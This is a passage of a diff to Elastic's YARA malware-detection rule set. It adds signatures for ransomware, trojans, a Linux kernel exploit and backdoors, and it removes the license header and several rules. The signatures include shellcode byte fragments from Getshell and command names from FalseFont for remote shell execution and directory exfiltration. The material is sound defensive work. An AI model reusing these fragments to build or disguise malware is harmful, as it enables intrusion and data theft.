-            ?? 6F ?? ?? ?? ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 0C 12 ?? 7B ?? ?? ?? ?? 0D 12 ?? 7B
-            ?? ?? ?? ?? 13 ?? 72 ?? ?? ?? ?? 13 ?? 16 13 ?? 2B ?? 7E ?? ?? ?? ?? 19 11 ?? 11 ??
-            6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 2D ?? 14 80 ?? ?? ?? ?? 2A 11 ?? 7E ?? ?? ?? ?? 28 ??
-            ?? ?? ?? 13 ?? 7E ?? ?? ?? ?? 20 ?? ?? ?? ?? 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 28 ?? ??
-            ?? ?? 11 ?? 17 58 13 ?? 11 ?? 09 32 ?? 7E ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 0B 73 ??
-            ?? ?? ?? 80 ?? ?? ?? ?? 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 07 6F ?? ?? ?? ?? 6F ?? ?? ??
-            ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 0B 7E ?? ?? ?? ?? 07
-            17 6F ?? ?? ?? ?? 13 ?? 11 ?? 7E ?? ?? ?? ?? 1A 16 16 6F ?? ?? ?? ?? 6F ?? ?? ?? ??
-            11 ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 DD ?? ?? ?? ?? 26 DE ?? 2A
-        }
+		$a = { 00 CD 01 1E 68 57 58 D7 56 7C 62 C9 27 3C C6 15 A9 3D 01 02 2F E1 69 B5 4A 11 }
 
 	condition:
-		uint16(0)==0x5A4D and ( all of ($unpack_response_p*)) and ($upload) and ($perform_request) and ($get_txt_record) and ($main_loop)
+		all of them
 }
-/*
- * YARA Rule Set
- * Repository Name: Elastic
- * Repository: https://github.com/elastic/protections-artifacts/
- * Retrieval Date: 2024-08-04
- * Git Commit: 9038ed0994941166ede4355ee47e1ae8467ce23e
- * Number of Rules: 1773
- * Skipped: 0 (age), 5 (quality), 0 (score), 0 (importance)
- *
- *
- * LICENSE
- *
- * Elastic License 2.0
+rule ELASTIC_Macos_Trojan_Genieo_37878473 : FILE MEMORY
+{
+	meta:
+		description = "Detects Macos Trojan Genieo (MacOS.Trojan.Genieo)"
+		author = "Elastic Security"
+		id = "37878473-b6f8-4cbe-ba70-31ecddf41c82"
+		date = "2021-10-05"
+		modified = "2021-10-25"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/MacOS_Trojan_Genieo.yar#L21-L39"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "0fadd926f8d763f7f15e64f857e77f44a492dcf5dc82ae965d3ddf80cd9c7a0d"
+		logic_hash = "bb04ae4e0a98e0dbd0c0708d5e767306e38edf76de2671523f4bd43cbcbfefc2"
+		score = 75
+		quality = 73
+		tags = "FILE, MEMORY"
+		fingerprint = "e9760bda6da453f75e543c919c260a4560989f62f3332f28296283d4c01b62a2"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "macos"
 
-URL: https://www.elastic.co/licensing/elastic-license
+	strings:
+		$a = { 65 72 6E 61 6C 44 6F 77 6E 4C 6F 61 64 55 72 6C 46 6F 72 42 72 61 6E 64 3A 5D }
 
-## Acceptance
+	condition:
+		all of them
+}
+rule ELASTIC_Macos_Trojan_Genieo_0D003634 : FILE MEMORY
+{
+	meta:
+		description = "Detects Macos Trojan Genieo (MacOS.Trojan.Genieo)"
+		author = "Elastic Security"
+		id = "0d003634-8b17-4e26-b4a2-4bfce2e64dde"
+		date = "2021-10-05"
+		modified = "2021-10-25"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/MacOS_Trojan_Genieo.yar#L41-L59"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "bcd391b58338efec4769e876bd510d0c4b156a7830bab56c3b56585974435d70"
+		logic_hash = "0412f88408fb14d1126ef091d0a5cc0ee2b2e39aeb241bef55208b59830ca993"
+		score = 75
+		quality = 73
+		tags = "FILE, MEMORY"
+		fingerprint = "6f38b7fc403184482449957aff51d54ac9ea431190c6f42c7a5420efbfdb8f7d"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "macos"
 
-By using the software, you agree to all of the terms and conditions below.
+	strings:
+		$a = { 75 69 6C 64 2F 41 6E 61 62 65 6C 50 61 63 6B 61 67 65 2F 62 75 69 6C 64 2F 73 }
 
-## Copyright License
+	condition:
+		all of them
+}
+rule ELASTIC_Macos_Trojan_Genieo_9E178C0B : FILE MEMORY
+{
+	meta:
+		description = "Detects Macos Trojan Genieo (MacOS.Trojan.Genieo)"
+		author = "Elastic Security"
+		id = "9e178c0b-02ca-499b-93d1-2b6951d41435"
+		date = "2021-10-05"
+		modified = "2021-10-25"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/MacOS_Trojan_Genieo.yar#L61-L79"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "b7760e73195c3ea8566f3ff0427d85d6f35c6eec7ee9184f3aceab06da8845d8"
+		logic_hash = "212f96ca964aceeb80c6d3282d488cfbb74aeffb9c0c9dd840a3a28f9bbdcbea"
+		score = 75
+		quality = 73
+		tags = "FILE, MEMORY"
+		fingerprint = "b00bffbdac79c5022648bf8ca5a238db7e71f3865a309f07d068ee80ba283b82"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "macos"
 
-The licensor grants you a non-exclusive, royalty-free, worldwide,
-non-sublicensable, non-transferable license to use, copy, distribute, make
-available, and prepare derivative works of the software, in each case subject to
-the limitations and conditions below.
+	strings:
+		$a = { 4D 49 70 67 41 59 4B 6B 42 5A 59 53 65 4D 6B 61 70 41 42 48 4D 5A 43 63 44 44 }
 
-## Limitations
+	condition:
+		all of them
+}
+rule ELASTIC_Windows_Ransomware_Helloxd_0C50F01B : FILE MEMORY
+{
+	meta:
+		description = "Detects Windows Ransomware Helloxd (Windows.Ransomware.Helloxd)"
+		author = "Elastic Security"
+		id = "0c50f01b-5f3d-4112-9930-ca1150fc12fa"
+		date = "2022-06-14"
+		modified = "2022-07-18"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_Helloxd.yar#L1-L26"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "435781ab608ff908123d9f4758132fa45d459956755d27027a52b8c9e61f9589"
+		logic_hash = "71e09fa1a00fa6f3688129ee2b2a8957b84f64ef51fcba5123a6a9df80a9c7e1"
+		score = 75
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "462d8c231d608e28e66d810b811f9fdf82d0b3770d21267a4375669a26bbaafd"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "windows"
 
-You may not provide the software to third parties as a hosted or managed
-service, where the service provides users with access to any substantial set of
-the features or functionality of the software.
+	strings:
+		$mutex = "With best wishes And good intentions..."
+		$ransomnote0 = ":: our TOX below >:)"
+		$ransomnote1 = "You can download TOX here"
+		$ransomnote2 = "...!XD ::"
+		$productname = "HelloXD" ascii wide
+		$legalcopyright = "uKn0w" ascii wide
+		$description = "VhlamAV" ascii wide
+		$companyname = "MicloZ0ft" ascii wide
 
-You may not move, change, disable, or circumvent the license key functionality
-in the software, and you may not remove or obscure any functionality in the
-software that is protected by the license key.
+	condition:
+		($mutex and all of ($ransomnote*)) or (3 of ($productname,$legalcopyright,$description,$companyname))
+}
+rule ELASTIC_Windows_Trojan_Rudebird_3Cbf7Bc6 : FILE MEMORY
+{
+	meta:
+		description = "Detects Windows Trojan Rudebird (Windows.Trojan.RudeBird)"
+		author = "Elastic Security"
+		id = "3cbf7bc6-71c5-4c7c-a846-7a95c3d28917"
+		date = "2023-05-09"
+		modified = "2023-06-13"
+		reference = "https://www.elastic.co/security-labs/introducing-the-ref5961-intrusion-set"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_RudeBird.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "2095c3b6bde779b5661c7796b5e33bb0c43facf791b272a603b786f889a06a95"
+		score = 75
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "f70bd86d877d9371601c7f65cf50a5bb9b76ba45acbf591bd8e4c1117a0cac1d"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "windows"
 
-You may not alter, remove, or obscure any licensing, copyright, or other notices
-of the licensor in the software. Any use of the licensor’s trademarks is subject
-to applicable law.
+	strings:
+		$a1 = { 40 53 48 83 EC 20 48 8B D9 B9 D8 00 00 00 E8 FD C1 FF FF 48 8B C8 33 C0 48 85 C9 74 05 E8 3A F2 }
 
-## Patents
+	condition:
+		all of them
+}
+rule ELASTIC_Linux_Exploit_Vmsplice_Cfa94001 : FILE MEMORY
+{
+	meta:
+		description = "Detects Linux Exploit Vmsplice (Linux.Exploit.Vmsplice)"
+		author = "Elastic Security"
+		id = "cfa94001-6000-4633-9af2-efabfaa96f94"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_Vmsplice.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "0a26e67692605253819c489cd4793a57e86089d50150124394c30a8801bf33e6"
+		logic_hash = "b5a86a79384997f977d353371ccaa8c736f5c24af40b85a24076d4c4fb79a237"
+		score = 75
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "3fb484112484e2afc04a88d50326312af950605c61f258651479427b7bae300a"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
 
-The licensor grants you a license, under any patent claims the licensor can
-license, or becomes able to license, to make, have made, use, sell, offer for
-sale, import and have imported the software, in each case subject to the
-limitations and conditions in this license. This license does not cover any
-patent claims that you cause to be infringed by modifications or additions to
-the software. If you or your company make any written claim that the software
-infringes or contributes to infringement of any patent, your patent license for
-the software granted under these terms ends immediately. If your company makes
-such a claim, your patent license ends immediately for work on behalf of your
-company.
+	strings:
+		$a = { 7A 00 21 40 23 24 00 6D 6D 61 70 00 5B 2B 5D 20 6D 6D 61 70 3A }
 
-## Notices
+	condition:
+		all of them
+}
+rule ELASTIC_Linux_Exploit_Vmsplice_A000F267 : FILE MEMORY
+{
+	meta:
+		description = "Detects Linux Exploit Vmsplice (Linux.Exploit.Vmsplice)"
+		author = "Elastic Security"
+		id = "a000f267-b4d7-46e9-ab61-818633083ba2"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_Vmsplice.yar#L21-L39"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "c85cc6768a28fb7de16f1cad8d3c69d8f0b4aa01e00c8e48759d27092747ca6f"
+		logic_hash = "2a8cb11bb21f2ce620a6fa1f0fb932bef60a479fac836058ec4e8c760b5d60f9"
+		score = 75
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "0753ef1bc3e151fd6d4773967b5cde6ad789df593e7d8b9ed08052151a1a1849"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
 
-You must ensure that anyone who gets a copy of any part of the software from you
-also gets a copy of these terms.
+	strings:
+		$a = { 24 04 73 00 00 00 89 44 24 00 CF 83 C4 10 5B C9 C3 55 89 E5 83 }
 
-If you modify the software, you must include in any modified copies of the
-software prominent notices stating that you have modified the software.
+	condition:
+		all of them
+}
+rule ELASTIC_Linux_Exploit_Vmsplice_8B9E4F9F : FILE MEMORY
+{
+	meta:
+		description = "Detects Linux Exploit Vmsplice (Linux.Exploit.Vmsplice)"
+		author = "Elastic Security"
+		id = "8b9e4f9f-7903-4aa5-9098-766f4311a22b"
+		date = "2021-04-06"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_Vmsplice.yar#L41-L59"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "0230c81ba747e588cd9b6113df6e1867dcabf9d8ada0c1921d1bffa9c1b9c75d"
+		logic_hash = "6979a900a2532a8da36711f3ffe13f71ec4efa7771aa2feec9391bd031aaa023"
+		score = 75
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "585b16ad3e4489a17610f0a226be428def33e411886f273d0c1db45b3819ba3f"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
 
-## No Other Rights
+	strings:
+		$a = { 00 00 00 00 20 4C 69 6E 75 78 20 76 6D 73 70 6C }
 
-These terms do not imply any licenses other than those expressly granted in
-these terms.
+	condition:
+		all of them
+}
+rule ELASTIC_Linux_Exploit_Vmsplice_055F88B8 : FILE MEMORY
+{
+	meta:
+		description = "Detects Linux Exploit Vmsplice (Linux.Exploit.Vmsplice)"
+		author = "Elastic Security"
+		id = "055f88b8-b1b0-4b02-8fc5-97804b564d27"
+		date = "2021-04-06"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_Vmsplice.yar#L61-L79"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "607c8c5edc8cbbd79a40ce4a0eccf46e01447985d9415d1eff6a91bf64074507"
+		logic_hash = "29e59bb372f0b37b507c72e5b5bcb27ba0fa2aaac71ea77f0cab85af31708c8a"
+		score = 75
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "38f7d6c56ee1cd465062b5c82320710c4d0393a3b33f5586b6c0c0c778e5d3b2"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
 
-## Termination
+	strings:
+		$a = { 2D 2D 2D 00 20 4C 69 6E 75 78 20 76 6D 73 70 6C }
 
-If you use the software in violation of these terms, such use is not licensed,
-and your licenses will automatically terminate. If the licensor provides you
-with a notice of your violation, and you cease all violation of this license no
-later than 30 days after you receive that notice, your licenses will be
-reinstated retroactively. However, if you violate these terms after such
-reinstatement, any additional violation of these terms will cause your licenses
-to terminate automatically and permanently.
+	condition:
+		all of them
+}
+rule ELASTIC_Linux_Exploit_Vmsplice_431E689D : FILE MEMORY
+{
+	meta:
+		description = "Detects Linux Exploit Vmsplice (Linux.Exploit.Vmsplice)"
+		author = "Elastic Security"
+		id = "431e689d-0c41-4c92-98b0-0dac529d8328"
+		date = "2021-06-28"
+		modified = "2021-09-16"
+		reference = "1cbb09223f16af4cd13545d72dbeeb996900535b1e279e4bcf447670728de1e1"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_Vmsplice.yar#L81-L99"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "5b9a7ffcd6fc6893a8224fd2b9ca59f4cff6086669a73190114db510a1ad9ff2"
+		score = 75
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "1e8aee445a3adef6ccbd2d25f7b38202bef98a99b828eda56fb8b9269b6316b4"
+		severity = "100"
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
 
-## No Liability
+	strings:
+		$a = { 69 6F 6E 00 70 75 74 65 6E 76 00 73 74 64 6F 75 74 00 73 65 }
 
-*As far as the law allows, the software comes as is, without any warranty or
-condition, and the licensor will not be liable to you for any damages arising
-out of these terms or the use or nature of the software, under any kind of
-legal claim.*
+	condition:
+		all of them
+}
+rule ELASTIC_Linux_Virus_Thebe_1Eb5985A : FILE MEMORY
+{
+	meta:
+		description = "Detects Linux Virus Thebe (Linux.Virus.Thebe)"
+		author = "Elastic Security"
+		id = "1eb5985a-2b35-434f-81d9-f502dff25397"
+		date = "2021-04-06"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Virus_Thebe.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "30af289be070f4e0f8761f04fb44193a037ec1aab9cc029343a1a1f2a8d67670"
+		logic_hash = "7d4bc4b1615048dec1f1fac599afa667e06ccb369bb1242b25887e0ce2a5066a"
+		score = 75
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "5cf9aa9a31c36028025d5038c98d56aef32c9e8952aa5cd4152fbd811231769e"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
 
-## Definitions
+	strings:
+		$a = { 42 31 C9 31 DB 31 F6 B0 1A CD 80 85 C0 0F 85 83 }
 
-The **licensor** is the entity offering these terms, and the **software** is the
-software the licensor makes available under these terms, including any portion
-of it.
+	condition:
+		all of them
+}
+rule ELASTIC_Linux_Trojan_Getshell_98D002Bf : FILE MEMORY
+{
+	meta:
+		description = "Detects Linux Trojan Getshell (Linux.Trojan.Getshell)"
+		author = "Elastic Security"
+		id = "98d002bf-63b7-4d11-98ef-c3127e68d59c"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Getshell.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "97b7650ab083f7ba23417e6d5d9c1d133b9158e2c10427d1f1e50dfe6c0e7541"
+		logic_hash = "358575f55910b060bde94bbc55daa9650a43cf1470b77d1842ddcaa8b299700a"
+		score = 75
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "b7bfec0a3cfc05b87fefac6b10673491b611400edacf9519cbcc1a71842e9fa3"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
 
-**you** refers to the individual or entity agreeing to these terms.
+	strings:
+		$a = { B2 6A B0 03 CD 80 85 C0 78 02 FF E1 B8 01 00 00 00 BB 01 00 }
 
-**your company** is any legal entity, sole proprietorship, or other kind of
-organization that you work for, plus all organizations that have control over,
-are under the control of, or are under common control with that
-organization. **control** means ownership of substantially all the assets of an
-entity, or the power to direct its management and policies by vote, contract, or
-otherwise. Control can be direct or indirect.
+	condition:
+		all of them
+}
+rule ELASTIC_Linux_Trojan_Getshell_213D4D69 : FILE MEMORY
+{
+	meta:
+		description = "Detects Linux Trojan Getshell (Linux.Trojan.Getshell)"
+		author = "Elastic Security"
+		id = "213d4d69-5660-468d-a98c-ff3eef604b1e"
+		date = "2021-06-28"
+		modified = "2021-09-16"
+		reference = "05fc4dcce9e9e1e627ebf051a190bd1f73bc83d876c78c6b3d86fc97b0dfd8e8"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Getshell.yar#L21-L39"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "2075def88b31ac32e44c270ab20273c8b91f37e25a837c0353f76bcf431cdcb3"
+		score = 75
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "60e385e4c5eb189785bc14d39bf8a22c179e4be861ce3453fbcf4d367fc87c90"
+		severity = "100"
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
 
-**your licenses** are all the licenses granted to you for the software under
-these terms.
+	strings:
+		$a = { EC 01 00 00 00 EB 3C 8B 45 EC 48 98 48 C1 E0 03 48 03 45 D0 48 }
 
-**use** means anything you do with the software requiring one of your licenses.
+	condition:
+		all of them
+}
+rule ELASTIC_Linux_Trojan_Getshell_3Cf5480B : FILE MEMORY
+{
+	meta:
+		description = "Detects Linux Trojan Getshell (Linux.Trojan.Getshell)"
+		author = "Elastic Security"
+		id = "3cf5480b-bb21-4a6e-a078-4b145d22c79f"
+		date = "2021-06-28"
+		modified = "2021-09-16"
+		reference = "0e41c0d6286fb7cd3288892286548eaebf67c16f1a50a69924f39127eb73ff38"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Getshell.yar#L41-L59"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "87b0db74e81d4f236b11f51a72fba2e4263c988402292b2182d19293858c6126"
+		score = 75
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "3ef0817445c54994d5a6792ec0e6c93f8a51689030b368eb482f5ffab4761dd2"
+		severity = "100"
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
 
-**trademark** means trademarks, service marks, and similar rights.
+	strings:
+		$a = { B2 24 B0 03 CD 80 85 C0 78 02 FF E1 B8 01 00 00 00 BB 01 00 }
 
- */
-rule ELASTIC_Linux_Ransomware_Lockbit_D248E80E : FILE MEMORY
+	condition:
+		all of them
+}
+rule ELASTIC_Linux_Trojan_Getshell_8A79B859 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Ransomware Lockbit (Linux.Ransomware.Lockbit)"
+		description = "Detects Linux Trojan Getshell (Linux.Trojan.Getshell)"
 		author = "Elastic Security"
-		id = "d248e80e-3e2f-4957-adc3-0c912b0cd386"
-		date = "2023-07-27"
-		modified = "2024-02-13"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Ransomware_Lockbit.yar#L1-L24"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "4800a67ceff340d2ab4f79406a01f58e5a97d589b29b35394b2a82a299b19745"
-		logic_hash = "5d33d243cd7f9d9189139eb34a4dd8d81882be200223d5c8e60dfd07ca98f94b"
+		id = "8a79b859-654c-4082-8cfc-61a143671457"
+		date = "2021-06-28"
+		modified = "2021-09-16"
+		reference = "1154ba394176730e51c7c7094ff3274e9f68aaa2ed323040a94e1c6f7fb976a2"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Getshell.yar#L61-L79"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "2aa3914ec4cc04e5daa2da1460410b4f0e5e7a37c5a2eae5a02ff5f55382f1fe"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "417ecf5a0b6030ed5b973186efa1e72dfa56886ba6cfc5fbf615e0814c24992f"
-		severity = 100
+		fingerprint = "5a95d1df94791c8484d783da975bec984fb11653d1f81f6397efd734a042272b"
+		severity = "100"
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a1 = "restore-my-files.txt" fullword
-		$b1 = "xkeyboard-config" fullword
-		$b2 = "bootsect.bak" fullword
-		$b3 = "lockbit" fullword
-		$b4 = "Error: %s" fullword
-		$b5 = "crypto_generichash_blake2b_final" fullword
+		$a = { 0A 00 89 E1 6A 1C 51 56 89 E1 43 6A 66 58 CD 80 B0 66 B3 04 }
 
 	condition:
-		$a1 and 2 of ($b*)
+		all of them
 }
-rule ELASTIC_Linux_Ransomware_Lockbit_5B30A04B : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Falsefont_D1F0D357 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Ransomware Lockbit (Linux.Ransomware.Lockbit)"
+		description = "Detects Windows Trojan Falsefont (Windows.Trojan.FalseFont)"
 		author = "Elastic Security"
-		id = "5b30a04b-d618-4698-a797-30bf6d4a001c"
-		date = "2023-07-29"
-		modified = "2024-02-13"
+		id = "d1f0d357-26cb-4dab-8ca6-65f17109982b"
+		date = "2024-03-26"
+		modified = "2024-05-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Ransomware_Lockbit.yar#L26-L46"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "41cbb7d79388eaa4d6e704bd4a8bf8f34d486d27277001c343ea3ce112f4fb0d"
-		logic_hash = "b89d0f25f08ffa35e075def6a29cf52a80500c6499732146426a71c741059a3b"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_FalseFont.yar#L1-L26"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "364275326bbfc4a3b89233dabdaf3230a3d149ab774678342a40644ad9f8d614"
+		logic_hash = "af356dec77f773cec01626a3823dbea7e9d3719b9d152ec4057c0b97efabf0df"
 		score = 75
-		quality = 69
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "99bf6afb1554ec3b3b82389c93ca87018c51f7a80270d64007a5f5fc59715c45"
+		fingerprint = "ad63447832e9a160d479fccd780de89b9c29b9697f69ac3553e39bc388d49b83"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a1 = { 5D 50 4A 49 55 58 40 77 58 54 5C }
-		$a2 = { 33 6B 5C 5A 4C 4B 4A 50 4F 5C 55 40 }
-		$a3 = { 5E 4C 58 4B 58 57 4D 5C 5C 5D }
+		$s1 = "KillById"
+		$s2 = "KillByName"
+		$s3 = "SignalRHub"
+		$s4 = "ExecUseShell"
+		$s5 = "ExecAndKeepAlive"
+		$s6 = "SendAllDirectoryWithStartPath"
+		$s7 = "AppLiveDirectorySendHard"
+		$s8 = "AppLiveDirectorySendScreen"
 
 	condition:
-		all of them
+		4 of them
 }
-rule ELASTIC_Windows_Ransomware_Nightsky_A7F19411 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Bitsloth_05Fc3A0A : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Ransomware Nightsky (Windows.Ransomware.Nightsky)"
+		description = "Detects Windows Trojan Bitsloth (Windows.Trojan.BITSloth)"
 		author = "Elastic Security"
-		id = "a7f19411-4c28-4cc7-b60c-ef51cb10b905"
-		date = "2022-01-11"
-		modified = "2022-04-12"
+		id = "05fc3a0a-ce19-4042-90f8-32a43f40616e"
+		date = "2024-07-16"
+		modified = "2024-07-26"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_Nightsky.yar#L1-L22"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "1fca1cd04992e0fcaa714d9dfa97323d81d7e3d43a024ec37d1c7a2767a17577"
-		logic_hash = "defc7ab43035c663302edfda60a4b57cb301b3d61662afe3ce1de2ac93cfc3e2"
